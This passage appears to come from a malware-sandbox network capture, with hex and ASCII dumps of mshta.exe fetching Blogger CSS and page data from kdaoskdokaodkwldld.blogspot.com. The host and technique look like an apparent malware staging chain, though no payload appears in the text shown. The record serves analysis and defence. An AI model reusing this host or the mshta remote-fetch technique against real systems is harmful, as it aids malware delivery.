74 6f 6d 2b 78 6d 6c 5c 78 32 32 20 74 69 74 6c 65 5c 78 33 64 5c 78 32 32 2e 62 63 6b 32 32 20 2d 20 41 74 6f 6d 5c 78 
32 32 20 68 72 65 66 5c 78 33 64 5c 78 32 32 68 74 74 
Data Ascii: e61l\x22 title\x3d\x22.bck22 - RSS\x22 href\x3d\x22https://kdaoskdokaodkwldld.blogspot.com/feeds/p
osts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x
22.bck22 - Atom\x22 href\x3d\x22htt

2021-11-25 17:33:40 UTC 86 IN Data Raw: 6e 61 6d 65 27 3a 20 27 50 69 6e 74 65 72 65 73 74 27 2c 20 27 6b 65 79 27 3a 20 27 70 69 6e 74 65 72 65 73 
74 27 2c 20 27 73 68 61 72 65 4d 65 73 73 61 67 65 27 3a 20 27 53 68 61 72 65 20 74 6f 20 50 69 6e 74 65 72 65 73 74 
27 2c 20 27 74 61 72 67 65 74 27 3a 20 27 70 69 6e 74 65 72 65 73 74 27 7d 2c 20 7b 27 6e 61 6d 65 27 3a 20 27 45 6d 
61 69 6c 27 2c 20 27 6b 65 79 27 3a 20 27 65 6d 61 69 6c 27 2c 20 27 73 68 61 72 65 4d 65 73 73 61 67 65 27 3a 20 27 4
5 6d 61 69 6c 27 2c 20 27 74 61 72 67 65 74 27 3a 20 27 65 6d 61 69 6c 27 7d 5d 2c 20 27 64 69 73 61 62 6c 65 47 6f 6f 
67 6c 65 50 6c 75 73 27 3a 20 74 72 75 65 2c 20 27 67 6f 6f 67 6c 65 50 6c 75 73 53 68 61 72 65 42 75 74 74 6f 6e 57 69 
64 74 68 27 3a 20 30 2c 20 27 67 6f 6f 67 6c 65 50 6c 75 73 42 6f 
Data Ascii: name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 
'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googl
ePlusBo

2021-11-25 17:33:40 UTC 87 IN Data Raw: 6e 61 6d 65 27 3a 20 27 73 6e 61 70 73 68 6f 74 27 2c 20 27 75 72 6c 27 3a 20 27 3f 76 69 65 77 5c 78 33 64 
73 6e 61 70 73 68 6f 74 27 7d 2c 20 27 74 69 6d 65 73 6c 69 64 65 27 3a 20 7b 27 6e 61 6d 65 27 3a 20 27 74 69 6d 65 
73 6c 69 64 65 27 2c 20 27 75 72 6c 27 3a 20 27 3f 76 69 65 77 5c 78 33 64 74 69 6d 65 73 6c 69 64 65 27 7d 2c 20 27 69
73 4d 6f 62 69 6c 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 69 74 6c 65 27 3a 20 27 32 30 27 2c 20 27 64 65 73 63 72 69 
70 74 69 6f 6e 27 3a 20 27 27 2c 20 27 75 72 6c 27 3a 20 27 68 74 74 70 73 3a 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 
6b 77 6c 64 6c 64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 70 2f 32 30 2e 68 74 6d 6c 27 2c 20 27 74 79 70 65 27 3a 20 
27 69 74 65 6d 27 2c 20 27 69 73 53 69 6e 67 6c 65 49 74 65 6d 
Data Ascii: name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMo
bile': false, 'title': '20', 'description': '', 'url': 'https://kdaoskdokaodkwldld.blogspot.com/p/20.html', 'type': 'item', 'isSingleItem

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49169 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:40 UTC 88 OUT GET /static/v1/widgets/1529571102-css_bundle_v2.css HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive

2021-11-25 17:33:40 UTC 89 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: text/css
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech"
Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogg
er-tech"}]}
Content-Length: 36071
Date: Fri, 19 Nov 2021 06:02:29 GMT
Expires: Sat, 19 Nov 2022 06:02:29 GMT
Last-Modified: Fri, 19 Nov 2021 02:03:29 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Cache-Control: public, max-age=31536000
Age: 559871
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close
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2021-11-25 17:33:40 UTC 89 IN Data Raw: 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 20 30 20 31 70 78 7d 2e 63 6f 6e 74 65 
6e 74 2d 6f 75 74 65 72 2c 2e 68 65 61 64 65 72 2d 6f 75 74 65 72 2c 2e 74 61 62 73 2d 6f 75 74 65 72 2c 2e 6d 61 69 6e 
2d 6f 75 74 65 72 2c 2e 6d 61 69 6e 2d 69 6e 6e 65 72 2c 2e 66 6f 6f 74 65 72 2d 6f 75 74 65 72 2c 2e 70 6f 73 74 2c 2e 
63 6f 6d 6d 65 6e 74 73 2c 2e 77 69 64 67 65 74 2c 2e 64 61 74 65 2d 68 65 61 64 65 72 2c 2e 69 6e 6c 69 6e 65 2d 61 
64 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 3b 5f 70 6f 73 69 74 69 
6f 6e 3a 73 74 61 74 69 63 3b 5f 68 65 69 67 68 74 3a 31 25 7d 2e 66 6f 6f 74 65 72 2d 6f 75 74 65 72 7b 6d 61 72 67 69 
6e 2d 62 6f 74 74 6f 6d 3a 2d 31 70 78 7d 2e 63 6f 6e 74 65 
Data Ascii: body{margin:0;padding:0 0 1px}.content-outer,.header-outer,.tabs-outer,.main-outer,.main-inner,.footer-outer
,.post,.comments,.widget,.date-header,.inline-ad{position:relative;min-height:0;_position:static;_height:1%}.footer-oute
r{margin-bottom:-1px}.conte

2021-11-25 17:33:40 UTC 90 IN Data Raw: 64 67 65 74 7b 6d 61 72 67 69 6e 3a 33 30 70 78 20 30 3b 5f 6d 61 72 67 69 6e 3a 30 20 30 20 31 30 70 78 7d 
2e 73 65 63 74 69 6f 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 2e 77 69 64 67 65 74 3a 66 69 72 73 74 2d 63 68 69 6c 
64 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 73 65 63 74 69 6f 6e 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 23 75 64 73 
2d 73 65 61 72 63 68 43 6f 6e 74 72 6f 6c 2b 2e 77 69 64 67 65 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 73 65 63 
74 69 6f 6e 3a 6c 61 73 74 2d 63 68 69 6c 64 20 2e 77 69 64 67 65 74 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 
69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 73 3a 66 69 72 73 74 2d 63 68 69 6c 64 20 2e 77 69 64 67 65 74 7b 6d 61 
72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 62 6f 64 79 20 2e 6e 
Data Ascii: dget{margin:30px 0;_margin:0 0 10px}.section:first-child .widget:first-child{margin-top:0}.section:first-child #uds-
searchControl+.widget{margin-top:0}.section:last-child .widget:last-child{margin-bottom:0}.tabs:first-child .widget{margin-
bottom:0}body .n

2021-11-25 17:33:40 UTC 91 IN Data Raw: 69 76 65 7d 2e 77 69 64 67 65 74 20 6c 69 2c 2e 42 6c 6f 67 41 72 63 68 69 76 65 20 23 41 72 63 68 69 76 65 
4c 69 73 74 20 75 6c 2e 66 6c 61 74 20 6c 69 7b 70 61 64 64 69 6e 67 3a 2e 32 35 65 6d 20 30 3b 6d 61 72 67 69 6e 3a 
30 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 30 7d 2e 77 69 64 67 65 74 20 2e 70 6f 73 74 2d 62 6f 64 79 20 75 6c 7b 70 61 
64 64 69 6e 67 3a 30 20 32 2e 35 65 6d 3b 6d 61 72 67 69 6e 3a 2e 35 65 6d 20 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 
3a 31 2e 34 7d 2e 77 69 64 67 65 74 20 2e 70 6f 73 74 2d 62 6f 64 79 20 6c 69 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 
3a 2e 32 35 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 69 
74 65 6d 2d 63 6f 6e 74 72 6f 6c 7b 64 69 73 70 6c 61 79 3a 6e 
Data Ascii: ive}.widget li,.BlogArchive #ArchiveList ul.flat li{padding:.25em 0;margin:0;text-indent:0}.widget .post-body 
ul{padding:0 2.5em;margin:.5em 0;line-height:1.4}.widget .post-body li{margin-bottom:.25em;padding-top:0;padding-botto
m:0}.item-control{display:n

2021-11-25 17:33:40 UTC 92 IN Data Raw: 72 6f 66 69 6c 65 2d 64 61 74 61 62 6c 6f 63 6b 7b 6d 61 72 67 69 6e 3a 30 20 30 20 2e 35 65 6d 7d 64 74 7b 
66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 7d 74 61 62 6c 65 2e 73 65 63 74 69 6f 6e 2d 63 6f 6c 75 6d 6e 73 20 74 
64 2e 66 69 72 73 74 2e 63 6f 6c 75 6d 6e 73 2d 63 65 6c 6c 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 6e 6f 6e 65 7d 2e 70 
6f 73 74 2d 73 75 6d 6d 61 72 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 38 70 78 7d 23 6c 61 79 6f 75 74 20 2e 68 65 61 
64 65 72 2d 6f 75 74 65 72 2c 23 6c 61 79 6f 75 74 20 2e 74 61 62 73 2d 6f 75 74 65 72 2c 23 6c 61 79 6f 75 74 20 2e 6d 
61 69 6e 2d 6f 75 74 65 72 2c 23 6c 61 79 6f 75 74 20 2e 66 6f 6f 74 65 72 2d 6f 75 74 65 72 7b 6d 61 72 67 69 6e 3a 35 
70 78 20 30 7d 23 6c 61 79 6f 75 74 20 2e 63 61 70 2d 74 
Data Ascii: rofile-datablock{margin:0 0 .5em}dt{font-weight:bold}table.section-columns td.first.columns-cell{border-left
:none}.post-summary{padding-top:8px}#layout .header-outer,#layout .tabs-outer,#layout .main-outer,#layout .footer-outer{
margin:5px 0}#layout .cap-t

2021-11-25 17:33:40 UTC 94 IN Data Raw: 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 78 7d 2e 63 61 70 2d 74 6f 70 20 2e 63 61 70 2d 
6c 65 66 74 2c 2e 63 61 70 2d 74 6f 70 20 2e 63 61 70 2d 72 69 67 68 74 2c 2e 63 61 70 2d 62 6f 74 74 6f 6d 20 2e 63 61 
70 2d 6c 65 66 74 2c 2e 63 61 70 2d 62 6f 74 74 6f 6d 20 2e 63 61 70 2d 72 69 67 68 74 7b 68 65 69 67 68 74 3a 31 30 30 
25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 7d 2e 63 61 70 2d 74 6f 70 2c 2e 
63 61 70 2d 74 6f 70 20 2e 63 61 70 2d 6c 65 66 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 74 6f 
70 20 6c 65 66 74 7d 2e 63 61 70 2d 62 6f 74 74 6f 6d 2c 2e 63 61 70 2d 62 6f 74 74 6f 6d 20 2e 63 61 70 2d 6c 65 66 74 
7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 
Data Ascii: round-repeat:repeat-x}.cap-top .cap-left,.cap-top .cap-right,.cap-bottom .cap-left,.cap-bottom .cap-right{he
ight:100%;background-repeat:no-repeat}.cap-top,.cap-top .cap-left{background-position:top left}.cap-bottom,.cap-bottom .
cap-left{background-positio

2021-11-25 17:33:40 UTC 95 IN Data Raw: 6e 3a 30 20 61 75 74 6f 7d 2e 63 6f 6e 74 65 6e 74 2d 66 61 75 78 63 6f 6c 75 6d 6e 73 20 2e 66 61 75 78 63 
6f 6c 75 6d 6e 2d 6c 65 66 74 7b 77 69 64 74 68 3a 31 30 30 25 7d 73 65 63 74 69 6f 6e 2c 6e 61 76 2c 61 72 74 69 63 6c 
65 2c 61 73 69 64 65 2c 68 67 72 6f 75 70 2c 68 65 61 64 65 72 2c 66 6f 6f 74 65 72 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 
63 6b 7d 74 69 6d 65 2c 6d 61 72 6b 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 7d 2e 62 6c 6f 67 2d 6c 69 73 74 2d 
63 6f 6e 74 61 69 6e 65 72 20 75 6c 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 62 6c 6f 67 2d 6c 69 73 74 2d 63 
6f 6e 74 61 69 6e 65 72 20 75 6c 20 6c 69 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 6c 69 73 74 2d 73 74 79 6c 
65 3a 6e 6f 6e 65 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 69 6d 61 
Data Ascii: n:0 auto}.content-fauxcolumns .fauxcolumn-left{width:100%}section,nav,article,aside,hgroup,header,footer{dis
play:block}time,mark{display:inline}.blog-list-container ul{padding-left:0}.blog-list-container ul li{padding-left:0;list-style:no
ne;list-style-ima

2021-11-25 17:33:40 UTC 96 IN Data Raw: 6b 67 72 6f 75 6e 64 3a 23 66 39 65 64 62 65 3b 62 6f 72 64 65 72 3a 30 20 73 6f 6c 69 64 20 23 66 30 63 33 
36 64 3b 62 6f 74 74 6f 6d 3a 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 
30 2c 30 2c 2e 32 29 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 66 6f 6e 74 2d 77 
65 69 67 68 74 3a 62 6f 6c 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 39 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 
3a 30 3b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 
63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 2d 77 69 
74 68 2d 62 6f 72 64 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 
Data Ascii: kground:#f9edbe;border:0 solid #f0c36d;bottom:0;box-shadow:0 2px 4px rgba(0,0,0,.2);color:#666;font-size:11p
x;font-weight:bold;line-height:19px;margin-left:0;opacity:1;position:static;text-align:center}.contact-form-success-message-
with-border{background:

2021-11-25 17:33:40 UTC 97 IN Data Raw: 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 65 6d 61 
69 6c 3a 68 6f 76 65 72 2c 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 6e 61 6d 65 3a 68 6f 76 65 72 2c 2e 63 6f 6e 74 61 
63 74 2d 66 6f 72 6d 2d 65 6d 61 69 6c 2d 6d 65 73 73 61 67 65 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 
6f 6c 69 64 20 23 62 39 62 39 62 39 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 61 30 61 30 61 
30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 31 70 78 20 32 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 
2e 31 29 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 65 6d 61 69 6c 3a 66 6f 63 75 73 2c 2e 63 6f 6e 74 61 63 74 2d 66 
6f 72 6d 2d 6e 61 6d 65 3a 66 6f 63 75 73 2c 2e 63 6f 6e 
Data Ascii: vertical-align:top}.contact-form-email:hover,.contact-form-name:hover,.contact-form-email-message:hover{bord
er:1px solid #b9b9b9;border-top:1px solid #a0a0a0;box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.contact-form-email:focus,.c
ontact-form-name:focus,.con
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2021-11-25 17:33:40 UTC 99 IN Data Raw: 74 69 63 61 22 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 66 6f 6e 74 
2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 
70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 69 6e 2d 77 69 64 74 68 3a 35 34 70 78 3b 2a 6d 69 6e 2d 77 69 
64 74 68 3a 37 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 20 38 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 
72 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 32 31 38 73 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 
74 6f 6e 3a 68 6f 76 65 72 2c 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2e 68 6f 76 65 72 7b 2d 6d 6f 7a
2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 20 31 70 78 
Data Ascii: tica",sans-serif;font-size:11px;font-weight:bold;height:24px;line-height:24px;margin-left:0;min-width:54px;*min-
width:70px;padding:0 8px;text-align:center;transition:all .218s}.contact-form-button:hover,.contact-form-button.hover{-moz-
box-shadow:0 1px 1px

2021-11-25 17:33:40 UTC 100 IN Data Raw: 30 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 35 29 3b 62 6f 78 2d 73 68 61 64 6f 
77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 35 29 7d 
2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 73 75 62 6d 69 74 3a 66 6f 63 75 73 2c 2e 63 6f 6e 74 61 
63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 73 75 62 6d 69 74 2e 66 6f 63 75 73 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 
3a 23 34 30 34 30 34 30 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 73 75 62 6d 69 74 3a 66 6f 63 
75 73 3a 68 6f 76 65 72 2c 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 6e 2d 73 75 62 6d 69 74 2e 66 6f 63 
75 73 3a 68 6f 76 65 72 7b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 
Data Ascii: 0 1px rgba(255,255,255,.5);box-shadow:inset 0 0 0 1px rgba(255,255,255,.5)}.contact-form-button-submit:focus
,.contact-form-button-submit.focus{border-color:#404040}.contact-form-button-submit:focus:hover,.contact-form-button-sub
mit.focus:hover{-moz-box-sh

2021-11-25 17:33:40 UTC 101 IN Data Raw: 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 
70 2c 23 36 36 36 2c 23 34 34 34 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 34 30 34 30 34 30 3b 63 6f 
6c 6f 72 3a 23 66 66 66 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 
4d 69 63 72 6f 73 6f 66 74 2e 67 72 61 64 69 65 6e 74 28 73 74 61 72 74 43 6f 6c 6f 72 53 74 72 3d 27 23 36 36 36 36 36 
36 27 2c 45 6e 64 43 6f 6c 6f 72 53 74 72 3d 27 23 34 34 34 34 34 34 27 29 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 
62 75 74 74 6f 6e 2d 73 75 62 6d 69 74 3a 61 63 74 69 76 65 2c 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 75 74 74 6f 
6e 2d 73 75 62 6d 69 74 3a 66 6f 63 75 73 3a 61 63 74 69 
Data Ascii: ;background-image:linear-gradient(top,#666,#444);border:1px solid #404040;color:#fff;filter:progid:DXImageTr
ansform.Microsoft.gradient(startColorStr='#666666',EndColorStr='#444444')}.contact-form-button-submit:active,.contact-fo
rm-button-submit:focus:acti

2021-11-25 17:33:40 UTC 103 IN Data Raw: 65 2c 23 33 35 37 61 65 38 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 
72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 34 64 39 30 66 65 2c 23 33 35 37 61 65 38 29 3b 62 61 63 6b 67 72 6f 75 
6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 23 34 64 39 30 66 65 2c 23 33 
35 37 61 65 38 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 66 35 62 62 37 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 
64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 67 72 61 64 69 65 6e 74 28 73 74 
61 72 74 43 6f 6c 6f 72 53 74 72 3d 27 23 34 64 39 30 66 65 27 2c 45 6e 64 43 6f 6c 6f 72 53 74 72 3d 27 23 33 35 37 61 
65 38 27 29 7d 2e 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 62 
Data Ascii: e,#357ae8);background-image:-o-linear-gradient(top,#4d90fe,#357ae8);background-image:linear-gradie
nt(top,#4d90fe,#357ae8);border-color:#2f5bb7;filter:progid:DXImageTransform.Microsoft.gradient(startColorStr='
#4d90fe',EndColorStr='#357ae8')}.contact-form-b

2021-11-25 17:33:40 UTC 104 IN Data Raw: 2d 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 30 25 7d 2e 6c 61 62 65 6c 2d 73 69 7a 65 2d 35 7b 66 6f 6e 74 
2d 73 69 7a 65 3a 31 36 30 25 7d 2e 63 6c 6f 75 64 2d 6c 61 62 65 6c 2d 77 69 64 67 65 74 2d 63 6f 6e 74 65 6e 74 7b 74 
65 78 74 2d 61 6c 69 67 6e 3a 6a 75 73 74 69 66 79 7d 2e 6c 61 62 65 6c 2d 63 6f 75 6e 74 7b 77 68 69 74 65 2d 73 70 
61 63 65 3a 6e 6f 77 72 61 70 7d 2e 6c 61 62 65 6c 2d 73 69 7a 65 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 
2e 71 75 69 63 6b 65 64 69 74 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 4e 61 76 62 61 72 20 69 66 72 61 6d 6
5 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 23 6e 61 76 62 61 72 2d 69 66 72 61 6d 65 7b 64 69 73 70 6c 61 79 3a 62 
6c 6f 63 6b 3b 68 65 69 67 68 74 3a 33 30 70 78 7d 2e 63 72 6f 73 
Data Ascii: -4{font-size:120%}.label-size-5{font-size:160%}.cloud-label-widget-content{text-align:justify}.label-count{white-
space:nowrap}.label-size{line-height:1.2}.quickedit{cursor:pointer}.Navbar iframe{display:block}#navbar-iframe{disp
lay:block;height:30px}.cros

2021-11-25 17:33:40 UTC 105 IN Data Raw: 76 65 72 6c 61 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 
35 34 29 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 
74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 23 73 68 61 72 69 6e 67 2d 64 69 6d 2d 6f 76 65 72 6c 61 79 7b 62 61 
63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 69 6e 70 75 74 3a 3a 2d 6d 73 2d 63 6c 
65 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 62 6c 6f 67 67 65 72 2d 6c 6f 67 6f 2c 2e 73 76 67 2d 69 63 6f 6e 
2d 32 34 2e 62 6c 6f 67 67 65 72 2d 6c 6f 67 6f 7b 66 69 6c 6c 3a 23 66 66 39 38 30 30 3b 6f 70 61 63 69 74 79 3a 31 7d 
2e 77 69 64 67 65 74 2e 53 68 61 72 69 6e 67 20 2e 73 68 61 
Data Ascii: verlay{background-color:rgba(0,0,0,.54);height:100vh;left:0;position:fixed;top:0;width:100%}#sharing-dim-ove
rlay{background-color:transparent}input::-ms-clear{display:none}.blogger-logo,.svg-icon-24.blogger-logo{fill:#ff9800;opa
city:1}.widget.Sharing .sha

2021-11-25 17:33:40 UTC 106 IN Data Raw: 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 2e 73 68 61 72 65 2d 62 75 74 74 6f 6e 73 20 6c 69 20 2e 73 68 61 
72 69 6e 67 2d 70 6c 61 74 66 6f 72 6d 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 
6c 6f 72 3a 72 67 62 61 28 31 32 38 2c 31 32 38 2c 31 32 38 2c 2e 31 29 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 73 
68 61 72 65 2d 62 75 74 74 6f 6e 73 20 6c 69 20 73 76 67 5b 63 6c 61 73 73 5e 3d 73 68 61 72 69 6e 67 2d 5d 2c 2e 73 
68 61 72 65 2d 62 75 74 74 6f 6e 73 20 6c 69 20 73 76 67 5b 63 6c 61 73 73 2a 3d 22 20 73 68 61 72 69 6e 67 2d 22 5d 
7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 31 30 70 78 7d 2e 73 68 61 72 65 2d 62 75 74 74 6f 
6e 73 20 6c 69 20 73 70 61 6e 2e 73 68 61 72 69 6e 67 2d 70 6c 
Data Ascii: -button:focus,.share-buttons li .sharing-platform-button:hover{background-color:rgba(128,128,128,.1);outline
:none}.share-buttons li svg[class^=sharing-],.share-buttons li svg[class*=" sharing-"]{position:absolute;top:10px}.share-
buttons li span.sharing-pl

2021-11-25 17:33:40 UTC 108 IN Data Raw: 46 3b 41 41 41 41 3b 45 41 45 45 2c 4d 41 6a 43 6d 42 3b 3b 3b 41 41 6f 43 72 42 3b 41 41 41 41 3b 45 41 45 
45 3b 3b 3b 41 41 47 46 3b 45 41 43 45 2c 6b 42 41 33 43 79 42 3b 45 41 34 43 7a 42 3b 45 41 43 41 3b 45 41 45 41 2c 
4f 41 39 43 6d 42 3b 45 41 2b 43 6e 42 3b 45 41 43 41 3b 45 41 43 41 3b 45 41 43 41 3b 45 41 43 41 3b 41 41 43 41 3b 
41 41 43 41 3b 45 41 43 41 2c 57 41 68 44 77 42 3b 45 41 69 44 78 42 2c 53 43 78 45 73 42 3b 3b 3b 41 44 32 45 78 42 
3b 45 41 43 45 3b 3b 3b 41 41 47 46 3b 45 46 6c 43 45 3b 45 41 43 41 3b 45 41 43 41 3b 45 41 43 41 3b 45 41 43 41 3b 
45 45 67 43 41 3b 3b 3b 41 41 47 46 3b 45 41 43 45 3b 45 41 43 41 2c 51 41 39 44 30 42 3b 3b 3b 41 41 69 45 35 42 3b 
45 41 43 45 3b 3b 3b 41 41 47 46 3b 45 41 43 45 3b 45 41 43 41 3b 45 41 
Data Ascii: F;AAAA;EAEE,MAjCmB;;;AAoCrB;AAAA;EAEE;;;AAGF;EACE,kBA3CyB;EA4CzB;EACA;EAEA,OA9
